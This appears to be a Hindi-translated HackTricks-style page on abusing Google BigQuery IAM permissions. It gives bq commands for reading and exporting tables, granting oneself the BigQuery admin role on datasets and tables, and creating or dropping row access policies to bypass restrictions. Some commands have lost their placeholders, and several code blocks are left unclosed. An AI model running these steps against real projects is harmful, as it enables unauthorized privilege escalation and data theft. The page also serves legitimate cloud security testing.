BigQuery टेबल में संग्रहीत जानकारी पढ़ने पर संवेदनशील जानकारी मिल सकती है। जानकारी तक पहुँच के लिए आवश्यक अनुमतियाँ हैं bigquery.tables.get, bigquery.jobs.create और bigquery.tables.getData:
BigQuery टेबल डेटा पढ़ें
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
यह डेटा तक पहुंचने का एक और तरीका है। इसे एक Cloud Storage bucket में निर्यात करें और जानकारी वाली फ़ाइलें डाउनलोड करें। यह क्रिया करने के लिए निम्नलिखित अनुमतियाँ आवश्यक हैं: bigquery.tables.export, bigquery.jobs.create और storage.objects.create.
BigQuery तालिका को Cloud Storage में निर्यात करें
```bash
bq extract .
यह संभव हो सकता है कि किसी Bigquery तालिका में कुछ भरोसेमंद डेटा डालना ताकि किसी अन्य स्थान पर मौजूद vulnerability का दुरुपयोग किया जा सके। यह bigquery.tables.get, bigquery.tables.updateData और bigquery.jobs.create permissions के साथ आसानी से किया जा सकता है:
</details>
### `bigquery.datasets.setIamPolicy`
एक हमलावर इस privilege का दुरुपयोग करके BigQuery dataset पर अपने लिए **अतिरिक्त permissions** दे सकता है:
<details>
<summary>BigQuery dataset पर IAM policy सेट करें</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
यह अनुमति केवल आपको ACLs को संशोधित करके किसी BigQuery dataset पर अपनी पहुँच अपडेट करने की अनुमति देती है जो बताती हैं कि कौन इसे एक्सेस कर सकता है:
Update BigQuery dataset ACLs
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
एक attacker इस विशेषाधिकार का दुरुपयोग करके किसी BigQuery table पर अपने लिए और अधिक अनुमतियाँ दे सकता है:
Set IAM policy on BigQuery table
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
दस्तावेज़ों के अनुसार, उल्लिखित अनुमतियों के साथ row policy को **अपडेट करना संभव है।**\
हालाँकि, **CLI `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>row access policy बनाएँ या प्रतिस्थापित करें</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
row policies enumeration के आउटपुट में filter ID पाया जा सकता है। उदाहरण:
पंक्ति एक्सेस पॉलिसियाँ सूचीबद्ध करें
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
यदि आपके पास **`bigquery.rowAccessPolicies.delete`** `bigquery.rowAccessPolicies.update` की बजाय है, तो आप नीति को बस हटा भी सकते हैं:
<details>
<summary>row access policies हटाएँ</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
एक और संभावित विकल्प row access policies को bypass करने का यह होगा कि आप प्रतिबंधित डेटा का मान बदल दें। अगर आप केवल तब देख पाते हैं जब termCfba है, तो बस तालिका के सभी रिकॉर्ड्स को संशोधित करके term = "Cfba" कर दें। हालांकि इसे bigquery रोकता है।